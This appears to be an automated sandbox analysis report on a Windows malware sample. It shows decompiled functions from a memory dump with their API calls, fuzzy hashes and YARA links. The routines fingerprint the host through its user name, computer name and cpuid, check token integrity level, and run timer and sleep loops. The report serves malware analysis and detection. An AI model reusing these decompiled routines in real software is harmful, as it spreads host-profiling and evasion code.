Part of subcall function 00F01BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,00F020C2,?,052795B0), ref: 00F01BE1
Part of subcall function 00F01BB6: lstrlen.KERNEL32(?,?,?,00F020C2,?,052795B0), ref: 00F01BE9
Part of subcall function 00F01BB6: strcpy.NTDLL ref: 00F01C00
Part of subcall function 00F01BB6: lstrcat.KERNEL32(00000000,?), ref: 00F01C0B
Part of subcall function 00F01BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,00F020C2,?,052795B0), ref: 00F01C28

StrTrimA.SHLWAPI(00000000,00F0C28C,?,052795B0), ref: 00F04C4E

Part of subcall function 00F0361A: lstrlen.KERNEL32(05279A78,00000000,00000000,74ECC740,00F020ED,00000000), ref: 00F0362A
Part of subcall function 00F0361A: lstrlen.KERNEL32(?), ref: 00F03632
Part of subcall function 00F0361A: lstrcpy.KERNEL32(00000000,05279A78), ref: 00F03646
Part of subcall function 00F0361A: lstrcat.KERNEL32(00000000,?), ref: 00F03651

lstrcpy.KERNEL32(00000000,?), ref: 00F04C6F
lstrcpy.KERNEL32(?,?), ref: 00F04C77
lstrcat.KERNEL32(?,?), ref: 00F04C85
lstrcat.KERNEL32(?,00000000), ref: 00F04C8B

Part of subcall function 00F09070: lstrlen.KERNEL32(?,00000000,05279A98,00000000,00F08808,05279C76,?,?,?,?,?,63699BC3,00000005,00F0D00C), ref: 00F09077
Part of subcall function 00F09070: mbstowcs.NTDLL ref: 00F090A0
Part of subcall function 00F09070: memset.NTDLL ref: 00F090B2

wcstombs.NTDLL ref: 00F04D1C

Part of subcall function 00F0391F: SysAllocString.OLEAUT32(?), ref: 00F0395A
Part of subcall function 00F0391F: IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 00F039DD

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

HeapFree.KERNEL32(00000000,?,?), ref: 00F04D5D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00F04D69
RtlFreeHeap.NTDLL(00000000,?,?,052795B0), ref: 00F04D75
HeapFree.KERNEL32(00000000,?), ref: 00F04D81
RtlFreeHeap.NTDLL(00000000,?), ref: 00F04D8D

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 5a63db4d5e2ae03ffeca2aead8bf2196c53905855b9c6eb3bec26b8801ac92b7
Instruction ID: 4b52a5c46dce0195108123ce2bbd03eef92f1e2302a32cfedd62fe8c9a19d71b
Opcode Fuzzy Hash: 5a63db4d5e2ae03ffeca2aead8bf2196c53905855b9c6eb3bec26b8801ac92b7
Instruction Fuzzy Hash: D5911671901208AFDB11DFA8DC88AAEBBB9FF48310F144454F909D72A1DB35E951FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F051B0, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00F051B0(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				long _t67;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0xf0d240);
					_v20 = 0;
					_v16 = 0;
					L00F0AF2E();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0xf0d26c; // 0x2c4
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0xf0d24c = 5;
						} else {
							_t68 = E00F08D14(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0xf0d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E00F0A376(_t72, _t76, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_v12 = _t65;
						_t90 = _t65 - 3;
						if(_t65 != 3) {
							goto L6;
						} else {
							_t67 = E00F036B1(_t72, _t90,  &_v92, _a4, _a8); // executed
							_v8.LowPart = _t67;
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0xf0d244);
							goto L21;
						} else {
							__eflags =  *0xf0d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E00F06761();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0xf0d248);
								L21:
								L00F0AF2E();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								_v8.LowPart = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0xf0d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x00f051b0
0x00f051c2
0x00f051c5
0x00f051d1
0x00f051d7
0x00f051dc
0x00f05343
0x00f051e2
0x00f051e2
0x00f051e4
0x00f051e9
0x00f051ea
0x00f051f0
0x00f051f3
0x00f051f6
0x00f05204
0x00f0520f
0x00f05212
0x00f05214
0x00f05221
0x00f0522b
0x00f0522d
0x00f05232
0x00f05237
0x00f05242
0x00f05242
0x00f05239
0x00f05239
0x00f05240
0x00000000
0x00000000
0x00f05240
0x00f0524c
0x00000000
0x00f0524f
0x00f05253
0x00f0525e
0x00f0525e
0x00f05265
0x00f0526e
0x00f05275
0x00f0527e
0x00f05281
0x00f05284
0x00f05289
0x00f0528e
0x00000000
0x00000000
0x00f05290
0x00f05293
0x00f05296
0x00f05299
0x00000000
0x00f0529b
0x00f052a5
0x00f052aa
0x00f052aa
0x00000000
0x00f052d8
0x00f052d8
0x00f052dd
0x00f052fc
0x00f052fe
0x00f05303
0x00f05304
0x00000000
0x00f052df
0x00f052df
0x00f052e5
0x00000000
0x00f052e7
0x00f052e7
0x00f052ec
0x00f052ee
0x00f052f3
0x00f052f4
0x00f0530a
0x00f0530a
0x00f05312
0x00f0531d
0x00f05320
0x00f0532b
0x00f0532d
0x00f05330
0x00f05332
0x00000000
0x00f05338
0x00000000
0x00f05338
0x00f05332
0x00f052e5
0x00000000
0x00f052dd
0x00f052ad
0x00f052af
0x00f052b2
0x00f052b3
0x00f052b3
0x00f052b7
0x00f052c1
0x00f052c1
0x00f052c7
0x00f052ca
0x00f052ca
0x00f052d0
0x00f052d0
0x00f0534d
0x00000000

APIs

memset.NTDLL ref: 00F051C5
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 00F051D1
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 00F051F6
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 00F05212
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00F0522B
HeapFree.KERNEL32(00000000,00000000), ref: 00F052C1
CloseHandle.KERNEL32(?), ref: 00F052D0
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 00F0530A
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,00F05D5E,?), ref: 00F05320
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00F0532B

Part of subcall function 00F08D14: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05279368,00000000,?,7519F710,00000000,7519F730), ref: 00F08D63
Part of subcall function 00F08D14: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,052793A0,?,00000000,30314549,00000014,004F0053,0527935C), ref: 00F08E00
Part of subcall function 00F08D14: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00F0523E), ref: 00F08E12

GetLastError.KERNEL32 ref: 00F0533D

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: 34dda591076f1d593a95a79647c010a1535ebed32683c119ff39a6a208e5d8ed
Instruction ID: adc7875755e00c317e742fbefa4756127c4e56e4fa619b5ec7074be6215ee6a4
Opcode Fuzzy Hash: 34dda591076f1d593a95a79647c010a1535ebed32683c119ff39a6a208e5d8ed
Instruction Fuzzy Hash: BB512571801228AADB119F95DD449EEBFB9FF49B20F204615F811E2294D6B49A44FFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F0232F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00F0232F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L00F0AF28();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0xf0d2a8; // 0x436a5a8
				_t5 = _t13 + 0xf0e87e; // 0x5278e26
				_t6 = _t13 + 0xf0e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L00F0ABCA();
				_t17 = CreateFileMappingW(0xffffffff, 0xf0d2ac, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x00f0232f
0x00f02337
0x00f0233b
0x00f02341
0x00f02346
0x00f0234b
0x00f0234e
0x00f02351
0x00f02356
0x00f02357
0x00f0235a
0x00f0235f
0x00f02366
0x00f02370
0x00f02372
0x00f02373
0x00f02376
0x00f02392
0x00f02398
0x00f0239c
0x00f023ea
0x00f0239e
0x00f023ab
0x00f023bb
0x00f023c3
0x00f023d5
0x00f023d9
0x00000000
0x00000000
0x00f023c5
0x00f023c8
0x00f023cd
0x00f023cf
0x00f023cf
0x00f023ad
0x00f023af
0x00f023db
0x00f023dc
0x00f023dc
0x00f023ab
0x00f023f1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00F05C31,?,?,4D283A53,?,?), ref: 00F0233B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00F02351
_snwprintf.NTDLL ref: 00F02376
CreateFileMappingW.KERNELBASE(000000FF,00F0D2AC,00000004,00000000,00001000,?), ref: 00F02392
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00F05C31,?,?,4D283A53), ref: 00F023A4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00F023BB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00F05C31,?,?), ref: 00F023DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00F05C31,?,?,4D283A53), ref: 00F023E4

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 01428210668cf60e8b9ef2fd56a741f6a3987102a55d1be11049cb6ef12c1aac
Instruction ID: a5bc6e306c4980c712adda3d72c28e214594a8c3d50f92fe2faaf91ef3a09f50
Opcode Fuzzy Hash: 01428210668cf60e8b9ef2fd56a741f6a3987102a55d1be11049cb6ef12c1aac
Instruction Fuzzy Hash: 0721B772A40208FBDB11AFA4DC49F9E77AAFB44750F244161FA05E71D0D674D905FBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F09135, Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00F09135(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0xf0d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E00F0A6CC( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0xf0d2a4 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0xf0d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E00F07306(_v8 + _v8, _t64);
							}
							HeapFree( *0xf0d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0xf0d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E00F07306(_v8 + _v8, _t64);
						}
						HeapFree( *0xf0d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}

0x00f09135
0x00f0913d
0x00f09141
0x00f09144
0x00f09149
0x00f0914b
0x00f09150
0x00f09150
0x00f09156
0x00f09158
0x00f09165
0x00f091c6
0x00f09167
0x00f0916c
0x00f09172
0x00f09177
0x00f09185
0x00f09189
0x00f09198
0x00f0919f
0x00f091a6
0x00f091a6
0x00f091b1
0x00f091b1
0x00f09189
0x00f09177
0x00f091c8
0x00f091ce
0x00f091d8
0x00f091da
0x00f091df
0x00f091ee
0x00f091f2
0x00f091fd
0x00f09204
0x00f0920b
0x00f0920b
0x00f09217
0x00f09217
0x00f091f2
0x00f09222
0x00f09224
0x00f09227
0x00f09229
0x00f0922c
0x00f0922f
0x00f09239
0x00f0923d
0x00f09241

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00F0916C
RtlAllocateHeap.NTDLL(00000000,?), ref: 00F09183
GetUserNameW.ADVAPI32(00000000,?), ref: 00F09190
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,00F05D20), ref: 00F091B1
GetComputerNameW.KERNEL32(00000000,00000000), ref: 00F091D8
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00F091EC
GetComputerNameW.KERNEL32(00000000,00000000), ref: 00F091F9
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,00F05D20), ref: 00F09217

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: f972103a707b40c480e3c8763c2363df796bd2873e7a552f3918fdabbb749d50
Instruction ID: 4fb9cf5ba459b50d2ce86f18f25b0b3c6e1167d9c966ca6383c95fc4e5e0725f
Opcode Fuzzy Hash: f972103a707b40c480e3c8763c2363df796bd2873e7a552f3918fdabbb749d50
Instruction Fuzzy Hash: 11311672A0420AEFDB10DFA8DD81AAEB7F9BB44310B614469E505D72A1E770EE01BB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F01A08, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F01A08(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0xf0d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E00F0A71F(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E00F0A734(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x00f01a15
0x00f01a1c
0x00f01a23
0x00f01a37
0x00f01a42
0x00f01a5a
0x00f01a67
0x00f01a6a
0x00f01a6f
0x00f01a7a
0x00f01a7e
0x00f01a8d
0x00f01a91
0x00f01aad
0x00f01aad
0x00f01ab1
0x00f01ab1
0x00f01ab6
0x00f01aba
0x00f01ac0
0x00f01ac1
0x00f01ac8
0x00f01ace

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 00F01A3A
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 00F01A5A
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00F01A6A
CloseHandle.KERNEL32(00000000), ref: 00F01ABA

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 00F01A8D
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00F01A95
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 00F01AA5

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 237903ef01dbd8a67ffefb77921399f76a49c4d75dea73e0369085edb2f18312
Instruction ID: c958ca3615dfb03e33f43e73c1e4a755e98b7f243f34813da0b48e375ebb3e35
Opcode Fuzzy Hash: 237903ef01dbd8a67ffefb77921399f76a49c4d75dea73e0369085edb2f18312
Instruction Fuzzy Hash: 77214A75A0024CFFEB10DF94DC84EAEBBB9FB44310F004065E901A61A1C7758A05FB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F0391F, Relevance: 9.2, APIs: 6, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00F0395A
IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 00F039DD
StrStrIW.SHLWAPI(00000000,006E0069), ref: 00F03A1D
SysFreeString.OLEAUT32(00000000), ref: 00F03A3F

Part of subcall function 00F06F3A: SysAllocString.OLEAUT32(00F0C290), ref: 00F06F8A

SafeArrayDestroy.OLEAUT32(00000000), ref: 00F03A92
SysFreeString.OLEAUT32(00000000), ref: 00F03AA1

Part of subcall function 00F01AE2: Sleep.KERNELBASE(000001F4), ref: 00F01B2A

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 66ce1bf2eea92ba4f85fb28684afac8fc74ac8ecba2eb05836ff9c40e4a12ca3
Instruction ID: c993c45eda46ff08a8601ab3192ff3084b732b9d47ed9ac2aa0e44272f688cbe
Opcode Fuzzy Hash: 66ce1bf2eea92ba4f85fb28684afac8fc74ac8ecba2eb05836ff9c40e4a12ca3
Instruction Fuzzy Hash: 76515239A00609EFDB11DFA8CC44A9EB7BAFF88710F144469E545DB260DB39EE05EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F06891, Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F06096: IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,052789D8,00F068BF,?,?,?,?,?,?,?,?,?,?,?,00F068BF), ref: 00F06163

Part of subcall function 00F06B75: IUnknown_QueryInterface_Proxy.RPCRT4(?,E7A1AF80,?), ref: 00F06BB2
Part of subcall function 00F06B75: IUnknown_QueryInterface_Proxy.RPCRT4(?,A4C6892C,?), ref: 00F06BE3

SysAllocString.OLEAUT32(00000000), ref: 00F068EB
SysAllocString.OLEAUT32(0070006F), ref: 00F068FF
SysAllocString.OLEAUT32(00000000), ref: 00F06911
SysFreeString.OLEAUT32(00000000), ref: 00F06979
SysFreeString.OLEAUT32(00000000), ref: 00F06988
SysFreeString.OLEAUT32(00000000), ref: 00F06993

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFreeQueryUnknown_$Interface_Proxy$Service
String ID:
API String ID: 2831207796-0
Opcode ID: 1ec7189a017833d3555828899cab8e876bd4d28710bdee05e7cf33d1206b172b
Instruction ID: 571f6f72f087ad6cd2ef1da02accfc0d1c64a23781f9cb8cfef5b7c004e19557
Opcode Fuzzy Hash: 1ec7189a017833d3555828899cab8e876bd4d28710bdee05e7cf33d1206b172b
Instruction Fuzzy Hash: D4416F36D00609AFDB01DFBCD844AAFB7BAEF89310F144426E914EB260DA71DD15DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F012E5, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00F012E5(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0xf0d238 = _t10;
				if(_t10 != 0) {
					 *0xf0d1a8 = GetTickCount();
					_t12 = E00F03E69(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L00F0B08A();
							_t33 = _t14 + _t16;
							_t18 = E00F05548(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E00F04DA2(_t25) != 0) {
							 *0xf0d260 = 1; // executed
						}
						_t12 = E00F05BA2(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x00f012e5
0x00f012eb
0x00f012ec
0x00f012f8
0x00f012fe
0x00f01305
0x00f01315
0x00f0131a
0x00f01321
0x00f01323
0x00f01328
0x00f0132e
0x00f01334
0x00f0133e
0x00f01342
0x00f01344
0x00f01349
0x00f0134a
0x00f0134b
0x00f01350
0x00f01356
0x00f0135f
0x00f01360
0x00f01365
0x00f0136b
0x00f01377
0x00f01379
0x00f01379
0x00f01383
0x00f01383
0x00f01307
0x00f01309
0x00f01309
0x00f0138d

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,00F04EF2,?), ref: 00F012F8
GetTickCount.KERNEL32 ref: 00F0130C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,00F04EF2,?), ref: 00F01328
SwitchToThread.KERNEL32(?,00000001,?,?,?,00F04EF2,?), ref: 00F0132E
_aullrem.NTDLL(?,?,00000009,00000000), ref: 00F0134B
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,00F04EF2,?), ref: 00F01365

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 188729864d86c553cfe0cdc2b1700fb2114e29d3073eb702e502a8596fa73dae
Instruction ID: 80a1d2eb5baf97559990033158c3c2def88c6ea87b364256f126bd2d7c7b8047
Opcode Fuzzy Hash: 188729864d86c553cfe0cdc2b1700fb2114e29d3073eb702e502a8596fa73dae
Instruction Fuzzy Hash: 1311DBB2A44305BFE7106BB4DC0AF6A7BD8FB44760F004615F945D62D0EBB4D800F6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F0853F, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

